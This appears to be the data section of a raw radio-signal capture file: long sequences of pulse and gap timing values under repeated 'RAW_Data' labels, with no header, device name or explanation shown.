-104 359 -108 371 -94 373 -94 121 -370 355 -106 345 -104 365 -92 139 -340 129 -360 123 -360 327 -124 119 -350 139 -336 369 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3746 101 -378 103 -336 123 -356 359 -92 375 -94 391 -104 359 -108 335 -92 139 -342 377 -108 337 -130 351 -94 119 -372 139 -332 125 -350 351 -104 141 -364 105 -336 373 -108 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3742 103 -346 139 -336 123 -360 359 -90 391 -106 361 -108 337 -94 377 -94 121 -370 355 -104 347 -106 365 -92 139 -340 127 -360 125 -338 347 -134 139 -324 143 -336 367 -106 337 -128 95 -372 139 -334 125 -352 125 -340 129 -3704 125 -354 139 -334 123 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3716 105 -370 97 -362 123 -360 327 -122 359 -104 359 -108 341 -124 355 -140 105 -360 331 -126 349 -92 369 -96 123 -368 129 -334 121 -376 349 -104 141 -362 107 -336 369 -108 337 -128 95 -372 139 -336 123 -352 125 -340 129 -3714 103 -372 97 -364 123 -360 327 -122 369 -94 369 -98 369 -96 335 -126 123 -354 345 -134 331 -124 337 -126 121 -340 133 -366 93 -380 349 -104 143 -362 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 93 -372 -RAW_Data: 127 -3712 141 -336 99 -364 121 -360 329 -120 361 -106 359 -108 339 -124 357 -106 141 -360 329 -126 347 -94 369 -96 123 -368 129 -330 123 -374 351 -102 141 -362 107 -336 369 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3714 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 371 -94 369 -94 123 -354 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3710 139 -338 97 -366 123 -338 381 -102 335 -122 369 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 125 -350 351 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 129 -3708 139 -338 97 -366 123 -360 327 -122 369 -94 369 -96 369 -96 369 -94 123 -354 347 -132 331 -124 369 -94 123 -370 101 -368 91 -382 349 -104 143 -362 105 -336 373 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3706 141 -338 133 -330 123 -340 379 -102 335 -122 369 -94 369 -98 337 -126 127 -340 357 -142 333 -94 379 -92 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 125 -340 129 -3710 139 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 367 -94 125 -352 347 -132 333 -122 369 -96 121 -370 101 -368 93 -380 351 -104 141 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 129 -3702 125 -356 139 -334 123 -350 349 -104 339 -124 371 -94 369 -96 369 -96 125 -342 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -104 141 -364 105 -336 373 -106 339 -128 97 -372 141 -334 125 -350 93 -372 129 -3708 123 -352 103 -370 123 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -340 357 -142 335 -94 379 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -338 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 127 -3706 125 -354 139 -334 125 -350 349 -104 339 -124 369 -96 369 -96 369 -96 125 -340 357 -142 335 -96 377 -94 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 371 -108 339 -128 95 -384 91 -378 101 -368 125 -348 125 -3716 101 -380 103 -336 123 -374 349 -104 335 -124 357 -106 359 -108 339 -124 143 -342 351 -92 383 -102 335 -124 121 -352 139 -336 127 -354 351 -102 143 -362 105 -338 373 -108 339 -128 95 -372 141 -334 125 -352 125 -338 129 -3704 123 -356 139 -334 125 -350 349 -104 339 -122 -RAW_Data: 371 -94 369 -96 369 -96 127 -338 359 -140 335 -96 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -338 373 -108 337 -128 97 -370 139 -334 125 -354 93 -372 127 -3716 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -126 355 -106 139 -362 329 -126 347 -94 369 -96 125 -366 129 -332 123 -374 349 -102 143 -362 105 -336 371 -108 337 -128 95 -372 141 -334 125 -350 125 -340 127 -3706 125 -354 139 -334 125 -350 349 -104 339 -122 371 -96 369 -96 369 -96 125 -342 355 -140 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -336 373 -108 339 -130 95 -370 105 -370 93 -384 93 -370 129 -3708 139 -338 133 -330 123 -338 381 -102 335 -124 367 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -338 371 -108 339 -128 95 -352 123 -378 101 -370 123 -350 125 -3708 103 -380 105 -336 123 -354 361 -92 377 -94 369 -96 369 -96 369 -94 125 -368 359 -96 359 -124 337 -128 91 -368 131 -334 123 -378 349 -102 141 -362 105 -336 371 -106 339 -128 95 -384 91 -380 101 -368 93 -382 93 -3736 95 -378 123 -348 139 -334 363 -110 339 -94 381 -94 367 -98 369 -96 125 -370 361 -108 335 -96 379 -94 121 -372 101 -370 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 95 -382 107 -368 97 -362 123 -340 127 -3714 139 -338 135 -332 123 -360 327 -122 371 -94 369 -96 369 -96 339 -124 125 -354 347 -132 333 -122 339 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 373 -108 337 -128 97 -382 91 -380 101 -368 93 -382 95 -3736 103 -382 105 -336 123 -354 359 -92 377 -94 369 -130 337 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -336 369 -108 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3714 139 -338 135 -332 123 -338 381 -102 335 -122 339 -126 337 -128 339 -128 125 -344 355 -140 333 -94 377 -96 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3746 101 -380 105 -336 123 -354 357 -92 377 -94 369 -96 369 -98 369 -94 125 -370 327 -126 357 -124 337 -128 93 -368 131 -332 123 -378 349 -104 141 -360 107 -336 369 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3736 135 -350 105 -338 123 -352 359 -124 347 -94 369 -96 371 -96 369 -94 123 -368 359 -98 359 -122 -RAW_Data: 337 -130 91 -368 131 -334 121 -378 351 -102 141 -362 105 -336 371 -106 337 -128 97 -382 93 -378 101 -368 93 -382 93 -3738 137 -348 105 -336 123 -352 359 -124 349 -94 369 -96 369 -96 369 -96 125 -368 329 -126 357 -124 337 -128 93 -368 131 -332 123 -378 349 -102 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3746 103 -344 139 -336 121 -342 381 -102 337 -124 357 -106 359 -108 337 -126 141 -342 351 -92 385 -104 333 -124 121 -352 139 -336 125 -356 349 -104 141 -362 105 -338 375 -108 337 -128 97 -382 93 -378 101 -368 91 -384 93 -3742 101 -382 105 -336 123 -352 359 -92 377 -94 369 -128 339 -96 369 -94 125 -368 329 -126 359 -122 339 -128 91 -368 131 -334 123 -378 349 -102 141 -362 105 -336 371 -108 337 -128 95 -384 91 -378 103 -368 91 -384 93 -3742 101 -382 105 -336 121 -356 359 -92 377 -124 339 -128 337 -130 305 -158 93 -370 327 -126 357 -124 339 -128 91 -368 131 -364 91 -378 319 -134 105 -396 105 -336 369 -106 337 -130 97 -384 91 -380 101 -366 93 -384 95 -3732 95 -380 105 -370 99 -364 351 -140 333 -94 345 -126 369 -96 337 -128 127 -340 357 -140 337 -94 347 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 373 -106 337 -130 95 -382 105 -370 97 -362 125 -338 127 -3712 139 -338 137 -332 123 -360 357 -92 391 -106 361 -106 337 -94 383 -106 105 -348 343 -132 335 -124 337 -126 123 -370 101 -368 91 -382 351 -104 141 -362 105 -336 373 -106 337 -128 97 -382 91 -380 101 -370 91 -384 93 -3736 125 -346 123 -350 139 -334 363 -110 337 -128 319 -126 369 -96 337 -128 125 -372 327 -140 335 -96 379 -94 121 -372 101 -368 125 -352 349 -104 141 -362 105 -336 373 -108 337 -128 97 -382 93 -376 103 -368 93 -382 93 -3744 101 -380 105 -336 123 -354 359 -90 377 -94 369 -96 371 -96 367 -94 125 -370 359 -96 359 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -336 371 -108 337 -128 95 -384 91 -378 103 -368 93 -380 95 -3736 135 -350 105 -336 123 -388 325 -124 349 -94 369 -96 369 -96 369 -94 123 -370 359 -96 357 -124 337 -128 93 -366 131 -334 123 -376 351 -102 141 -364 105 -336 371 -106 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3736 127 -344 141 -336 133 -332 349 -140 337 -94 343 -126 369 -96 337 -128 127 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -352 349 -104 143 -362 -RAW_Data: 105 -336 373 -108 337 -130 95 -384 91 -378 103 -366 93 -382 93 -3744 103 -380 105 -336 123 -356 357 -92 377 -94 369 -96 369 -96 369 -94 125 -356 345 -134 331 -124 337 -128 121 -370 101 -368 91 -382 351 -104 141 -362 105 -336 373 -108 337 -128 97 -382 91 -378 103 -368 91 -384 93 -3746 103 -344 139 -336 123 -374 349 -102 335 -124 337 -128 337 -128 337 -128 125 -342 355 -140 335 -94 393 -104 107 -344 123 -388 103 -360 351 -106 105 -384 103 -362 351 -106 359 -108 105 -362 143 -334 93 -384 93 -372 127 -3712 141 -336 97 -364 123 -360 327 -122 369 -94 369 -96 371 -96 337 -124 125 -354 345 -134 331 -124 335 -128 121 -372 101 -366 93 -380 351 -102 143 -362 105 -336 373 -108 337 -128 97 -382 91 -378 103 -368 91 -382 93 -3746 103 -380 103 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 125 -370 327 -128 355 -124 337 -128 93 -366 131 -334 121 -378 351 -104 141 -362 105 -336 371 -108 337 -128 95 -384 91 -378 101 -368 125 -350 93 -3738 135 -350 105 -338 123 -354 359 -124 347 -92 369 -96 369 -96 369 -94 125 -368 361 -96 357 -124 337 -128 91 -368 131 -334 123 -376 349 -104 141 -364 105 -334 371 -108 339 -128 95 -384 91 -378 101 -368 125 -350 93 -3738 135 -350 105 -338 123 -354 361 -92 377 -94 369 -96 369 -96 369 -94 123 -370 359 -96 357 -124 337 -128 93 -366 131 -334 121 -378 351 -102 141 -364 105 -334 371 -108 337 -128 97 -382 93 -378 101 -368 93 -382 93 -3736 125 -346 141 -336 133 -330 351 -140 335 -94 375 -94 369 -96 369 -96 127 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 351 -104 141 -362 107 -336 371 -108 337 -128 97 -382 91 -378 103 -368 91 -384 93 -3734 127 -344 139 -338 133 -332 349 -142 335 -94 375 -94 369 -98 337 -128 125 -340 357 -142 335 -94 379 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -338 373 -108 337 -128 97 -382 91 -378 103 -368 91 -382 95 -3732 129 -342 141 -338 133 -332 349 -142 335 -94 375 -96 369 -96 337 -128 125 -342 357 -140 335 -96 377 -94 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 373 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3740 103 -382 105 -336 123 -354 357 -92 377 -94 369 -96 371 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 -RAW_Data: 93 -382 93 -3738 135 -350 105 -336 123 -388 325 -124 347 -94 369 -96 371 -96 367 -94 125 -370 357 -96 359 -122 337 -128 91 -368 131 -334 121 -378 351 -104 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3742 101 -382 105 -336 123 -354 359 -92 379 -94 367 -96 371 -96 369 -94 123 -370 359 -96 357 -124 337 -128 91 -368 131 -334 123 -376 349 -104 141 -364 105 -334 371 -108 337 -128 95 -382 93 -378 103 -368 93 -382 93 -3746 103 -378 105 -336 123 -354 359 -92 391 -106 359 -106 345 -102 363 -94 139 -340 373 -106 337 -130 353 -94 121 -372 101 -368 125 -352 351 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 95 -3734 127 -344 123 -352 139 -334 363 -108 339 -128 349 -94 369 -96 369 -96 125 -370 361 -108 335 -96 379 -94 121 -372 137 -332 125 -352 351 -102 143 -362 105 -338 373 -108 337 -128 97 -370 139 -336 125 -350 125 -340 129 -3714 105 -372 97 -364 123 -360 327 -122 361 -104 359 -108 339 -126 355 -106 139 -362 329 -126 347 -94 369 -96 125 -366 129 -332 121 -376 349 -104 139 -362 105 -336 371 -106 339 -128 97 -382 91 -380 101 -368 91 -382 95 -3744 103 -378 105 -336 123 -354 359 -92 377 -94 369 -96 369 -96 369 -92 125 -370 359 -96 357 -92 369 -128 91 -368 129 -334 123 -378 349 -104 141 -888090 165 -326 121 -370 95 -372 349 -130 329 -122 339 -128 337 -128 337 -126 95 -386 317 -134 333 -124 341 -126 121 -372 101 -366 93 -382 317 -136 105 -396 105 -336 367 -108 335 -130 97 -382 93 -380 101 -368 93 -380 95 -3734 95 -364 139 -334 93 -384 351 -102 337 -124 341 -126 337 -128 337 -128 127 -342 355 -140 333 -94 345 -126 123 -372 101 -366 93 -382 351 -104 141 -362 105 -334 371 -108 337 -128 97 -372 105 -368 93 -384 93 -372 129 -3716 105 -336 127 -360 123 -360 329 -122 337 -126 337 -130 337 -126 337 -124 125 -348 347 -134 331 -122 337 -128 121 -338 133 -366 91 -380 351 -102 141 -362 105 -336 371 -108 337 -130 95 -370 105 -370 93 -384 93 -372 129 -3706 91 -384 101 -368 93 -380 351 -102 337 -124 341 -126 337 -128 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 371 -108 337 -130 95 -372 105 -368 93 -384 93 -372 129 -3708 103 -370 97 -364 123 -340 349 -132 335 -124 337 -126 337 -130 337 -126 127 -346 353 -140 333 -94 343 -126 -RAW_Data: 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 371 -106 339 -128 95 -384 91 -378 103 -368 91 -382 95 -3712 137 -342 137 -336 121 -358 359 -90 387 -104 361 -108 337 -128 315 -126 121 -372 353 -104 347 -138 331 -94 139 -340 129 -358 125 -338 349 -132 103 -396 105 -334 367 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3714 105 -338 129 -362 123 -360 327 -122 361 -104 359 -108 337 -124 355 -140 107 -358 331 -126 349 -94 369 -96 123 -368 95 -364 123 -376 319 -134 105 -396 105 -334 369 -108 337 -128 95 -384 91 -380 101 -366 93 -384 93 -3742 103 -376 105 -334 123 -356 359 -92 377 -94 369 -96 369 -96 339 -124 125 -354 349 -132 331 -124 337 -128 121 -370 101 -368 91 -380 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 93 -384 93 -3736 93 -380 105 -370 97 -362 351 -140 301 -126 343 -126 337 -130 337 -128 125 -342 357 -140 333 -126 315 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -334 373 -108 337 -128 97 -382 93 -378 103 -366 93 -384 93 -3742 103 -344 137 -336 123 -356 357 -92 391 -104 361 -106 343 -102 363 -92 139 -342 373 -106 337 -130 321 -124 121 -374 101 -368 93 -384 349 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3740 103 -378 105 -336 121 -356 359 -122 347 -94 369 -96 369 -96 369 -94 125 -356 347 -132 331 -124 337 -128 121 -370 101 -368 91 -382 351 -102 141 -362 105 -336 371 -106 339 -128 97 -382 105 -370 97 -362 123 -340 127 -3706 125 -356 139 -334 125 -352 349 -104 337 -124 341 -126 337 -130 337 -128 125 -344 355 -140 333 -94 347 -124 123 -370 103 -368 91 -384 351 -104 141 -362 105 -336 373 -106 339 -128 97 -382 93 -378 101 -368 93 -380 95 -3742 103 -378 103 -336 123 -354 359 -92 377 -96 369 -96 369 -96 339 -124 125 -354 347 -132 333 -124 337 -128 121 -370 101 -366 93 -382 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 93 -384 93 -3742 103 -378 103 -336 123 -352 359 -124 347 -94 369 -96 369 -96 369 -94 125 -356 347 -132 333 -124 337 -126 123 -370 101 -366 93 -382 349 -104 141 -362 105 -336 371 -106 337 -130 97 -382 91 -380 101 -368 93 -382 93 -3748 103 -342 137 -336 121 -374 349 -102 337 -122 357 -106 359 -144 303 -124 141 -340 351 -124 355 -104 333 -124 143 -342 101 -364 125 -358 329 -122 143 -342 99 -366 -RAW_Data: 351 -140 333 -94 125 -364 139 -334 127 -354 93 -372 127 -3708 123 -354 103 -368 125 -350 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 373 -108 337 -128 97 -382 107 -368 97 -362 125 -338 127 -3706 125 -358 139 -334 125 -350 351 -104 337 -124 341 -126 337 -130 337 -128 125 -344 355 -140 333 -94 377 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -384 105 -368 97 -362 125 -338 129 -3710 139 -338 135 -332 121 -360 327 -122 341 -126 371 -96 337 -128 337 -126 125 -352 347 -132 331 -124 337 -128 121 -370 101 -366 93 -382 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3738 103 -380 103 -338 123 -354 359 -124 345 -94 369 -96 371 -96 369 -94 123 -358 345 -134 331 -124 337 -128 121 -370 101 -368 91 -382 351 -102 143 -362 105 -334 373 -106 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3712 139 -338 133 -334 121 -360 329 -120 373 -94 371 -96 337 -128 337 -126 125 -352 347 -132 333 -122 337 -128 121 -372 101 -366 91 -382 349 -104 141 -364 105 -334 371 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3734 95 -378 107 -370 97 -364 351 -140 335 -94 343 -126 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -366 93 -384 351 -102 143 -362 105 -336 371 -108 337 -128 97 -384 91 -380 101 -368 93 -382 93 -3734 93 -380 139 -336 99 -364 349 -140 335 -94 345 -126 337 -130 337 -128 125 -344 355 -140 335 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 373 -108 337 -128 97 -382 93 -378 101 -368 93 -382 93 -3734 127 -346 123 -350 139 -332 365 -108 337 -128 319 -126 369 -96 339 -128 125 -372 327 -140 335 -126 317 -124 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 373 -108 337 -128 97 -384 91 -380 101 -368 93 -382 93 -3742 103 -380 103 -336 123 -354 357 -124 347 -94 391 -104 357 -108 335 -122 109 -374 343 -108 339 -128 323 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3736 93 -378 107 -370 97 -364 349 -140 335 -94 345 -126 339 -128 337 -128 125 -344 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 -RAW_Data: 93 -3744 103 -378 103 -336 123 -354 359 -124 345 -94 391 -104 359 -106 335 -124 107 -376 343 -106 337 -130 355 -94 119 -374 101 -368 125 -352 351 -102 143 -362 105 -336 373 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 125 -346 141 -336 99 -364 349 -140 335 -94 345 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3746 103 -344 139 -334 123 -356 359 -92 391 -104 361 -104 345 -102 361 -94 139 -340 375 -106 337 -130 367 -106 107 -344 123 -374 95 -372 347 -96 135 -356 107 -370 329 -142 335 -128 95 -368 141 -334 125 -352 95 -370 129 -3706 141 -336 133 -332 123 -338 349 -134 335 -122 339 -126 337 -128 339 -126 127 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 373 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3744 103 -344 137 -336 123 -354 359 -92 377 -96 355 -140 359 -106 335 -124 107 -344 375 -106 339 -128 353 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 373 -106 337 -130 95 -384 105 -368 97 -364 123 -338 129 -3704 125 -360 141 -334 123 -352 349 -104 337 -124 341 -128 337 -128 337 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3734 127 -346 141 -336 97 -366 349 -140 335 -94 345 -126 337 -128 337 -128 127 -342 355 -140 335 -96 347 -124 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3746 103 -376 105 -334 123 -356 359 -92 377 -94 369 -96 371 -96 367 -94 125 -356 347 -132 333 -122 339 -126 121 -372 101 -366 91 -382 351 -102 141 -362 105 -336 373 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3738 101 -382 105 -336 123 -388 325 -124 347 -94 369 -96 369 -96 371 -94 125 -370 327 -128 355 -124 339 -128 91 -368 131 -332 123 -376 319 -134 141 -362 105 -334 373 -106 337 -128 97 -382 93 -378 101 -368 93 -382 95 -3734 95 -378 123 -350 139 -332 363 -108 339 -128 319 -126 369 -96 337 -128 127 -372 325 -140 335 -128 315 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 371 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 95 -378 123 -352 137 -334 363 -108 339 -126 -RAW_Data: 319 -124 369 -98 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 143 -362 105 -336 373 -106 337 -130 97 -382 105 -368 97 -362 125 -370 95 -3712 139 -338 135 -334 123 -360 327 -122 353 -140 361 -108 335 -94 347 -126 121 -372 353 -104 347 -138 331 -92 139 -342 127 -360 125 -360 327 -122 121 -350 137 -336 369 -108 337 -130 95 -384 91 -380 101 -368 93 -384 93 -3734 95 -378 123 -352 137 -334 363 -108 337 -128 319 -124 369 -98 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 143 -362 105 -336 373 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 125 -346 141 -336 97 -366 351 -140 335 -94 343 -126 371 -96 337 -128 125 -344 355 -140 335 -94 349 -124 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -366 93 -382 95 -3734 127 -346 123 -352 137 -334 363 -108 339 -128 317 -126 369 -96 339 -128 125 -372 327 -140 335 -126 315 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 373 -108 337 -128 97 -382 105 -370 97 -362 123 -372 95 -3710 139 -340 135 -334 123 -360 327 -122 353 -140 361 -106 337 -94 347 -126 121 -370 353 -106 345 -140 331 -92 139 -342 127 -360 123 -340 349 -132 103 -396 105 -334 367 -108 337 -128 97 -384 91 -378 101 -368 93 -382 95 -3732 127 -346 141 -336 131 -332 349 -140 335 -94 347 -126 337 -128 337 -128 127 -342 355 -140 335 -96 345 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 373 -106 339 -128 97 -382 91 -380 101 -368 93 -382 95 -3732 127 -346 141 -336 133 -330 351 -140 335 -94 345 -126 337 -130 337 -128 125 -342 357 -140 335 -94 347 -124 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -108 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3738 101 -382 105 -336 123 -386 325 -124 351 -94 369 -96 369 -96 369 -96 125 -370 327 -126 357 -124 337 -128 91 -368 131 -334 121 -378 319 -134 141 -362 105 -334 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3734 95 -378 141 -336 97 -364 351 -140 335 -94 345 -126 337 -130 337 -128 125 -342 357 -140 335 -92 379 -94 121 -372 101 -368 125 -352 349 -104 141 -362 105 -338 373 -106 337 -128 97 -382 93 -380 101 -368 93 -382 93 -3738 103 -382 105 -336 123 -386 325 -124 349 -94 369 -96 371 -96 369 -94 123 -370 329 -126 357 -124 -RAW_Data: 337 -128 93 -368 131 -332 123 -378 317 -134 141 -362 105 -336 371 -106 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3738 103 -382 105 -336 123 -386 325 -124 349 -94 369 -96 369 -98 369 -92 125 -358 345 -134 331 -124 337 -128 121 -370 101 -366 93 -382 351 -102 141 -362 105 -336 373 -108 337 -128 97 -382 91 -380 103 -368 91 -384 93 -3738 103 -380 105 -336 123 -388 325 -124 349 -94 369 -96 369 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -334 121 -378 319 -134 141 -362 105 -334 371 -106 339 -128 97 -382 91 -380 103 -366 93 -382 95 -3746 103 -376 105 -334 123 -374 351 -102 335 -124 339 -126 337 -130 337 -128 125 -344 355 -140 333 -94 357 -140 107 -342 123 -388 101 -360 351 -106 105 -384 103 -362 351 -106 359 -108 105 -398 105 -334 127 -352 93 -372 129 -3712 105 -370 99 -364 123 -358 327 -122 339 -126 371 -96 337 -128 337 -126 123 -354 347 -132 331 -124 337 -128 121 -370 101 -368 91 -382 349 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 95 -3746 103 -344 139 -334 123 -356 359 -92 389 -106 359 -106 345 -102 361 -92 141 -340 373 -108 337 -130 333 -142 107 -342 123 -374 95 -372 347 -96 135 -356 107 -368 365 -106 337 -128 95 -370 139 -334 127 -352 93 -372 129 -3714 105 -368 99 -362 123 -360 329 -122 339 -126 337 -130 337 -128 337 -124 123 -354 345 -134 331 -124 337 -126 123 -370 101 -366 93 -380 351 -104 141 -362 105 -336 373 -106 337 -128 97 -384 91 -380 101 -368 93 -382 95 -3738 101 -382 105 -336 123 -386 325 -124 349 -94 369 -96 369 -98 369 -92 125 -370 329 -126 357 -124 337 -128 93 -368 129 -334 123 -376 319 -134 141 -362 105 -336 371 -106 337 -130 95 -382 93 -380 101 -368 93 -382 93 -3746 103 -378 103 -336 123 -374 349 -102 337 -124 355 -140 323 -142 303 -126 139 -374 319 -124 357 -104 335 -124 121 -354 139 -334 127 -368 333 -132 103 -394 69 -368 333 -140 337 -128 95 -368 105 -368 93 -400 103 -360 101 -3728 97 -394 101 -358 107 -370 327 -140 337 -94 395 -104 361 -106 345 -102 135 -354 353 -92 363 -106 337 -124 121 -356 139 -334 127 -354 351 -104 141 -364 105 -336 375 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3714 105 -370 99 -364 123 -360 327 -122 357 -106 359 -108 371 -94 371 -96 121 -370 355 -106 347 -104 365 -92 139 -340 127 -358 125 -360 327 -122 121 -350 -RAW_Data: 125 -342 387 -106 343 -102 137 -356 105 -338 125 -382 103 -360 139 -3678 133 -358 103 -384 105 -338 351 -142 335 -94 377 -94 369 -96 369 -96 125 -370 361 -108 337 -94 379 -94 121 -372 137 -334 123 -352 351 -104 141 -362 107 -334 375 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3710 141 -336 97 -366 123 -360 327 -122 369 -96 369 -96 369 -96 367 -94 125 -354 347 -132 333 -122 369 -94 121 -372 101 -368 91 -382 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 127 -3704 125 -356 139 -332 125 -352 349 -104 339 -122 371 -96 369 -96 369 -96 125 -340 357 -140 337 -94 379 -94 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3708 139 -338 133 -332 121 -360 329 -122 369 -94 369 -98 369 -96 367 -94 123 -354 347 -132 333 -122 369 -96 121 -370 101 -368 123 -350 351 -102 143 -362 105 -336 375 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3710 141 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 347 -132 333 -122 337 -128 121 -370 101 -368 93 -380 351 -104 141 -362 105 -336 373 -108 337 -130 95 -382 93 -376 103 -368 123 -352 125 -3702 127 -342 141 -336 135 -332 351 -140 335 -94 375 -94 369 -96 369 -96 127 -368 361 -108 337 -94 379 -94 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 373 -108 337 -128 95 -382 107 -370 97 -362 123 -338 129 -3704 137 -342 137 -334 123 -360 359 -92 389 -104 361 -108 337 -94 377 -94 121 -370 355 -104 349 -104 365 -92 139 -340 129 -358 125 -338 349 -132 139 -362 105 -334 369 -108 337 -128 95 -372 139 -336 125 -350 125 -340 129 -3704 125 -356 139 -334 123 -352 349 -104 339 -122 371 -94 369 -96 371 -94 127 -338 359 -140 337 -94 379 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 373 -106 337 -130 95 -382 105 -370 97 -362 123 -372 95 -3712 139 -338 135 -334 123 -360 359 -90 391 -104 361 -108 337 -94 385 -106 105 -362 331 -128 353 -94 367 -128 91 -368 131 -332 123 -376 349 -102 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3712 141 -336 97 -366 123 -360 327 -122 357 -106 359 -108 371 -94 371 -96 121 -370 355 -104 347 -104 365 -94 137 -342 127 -360 123 -340 347 -132 139 -326 141 -336 367 -108 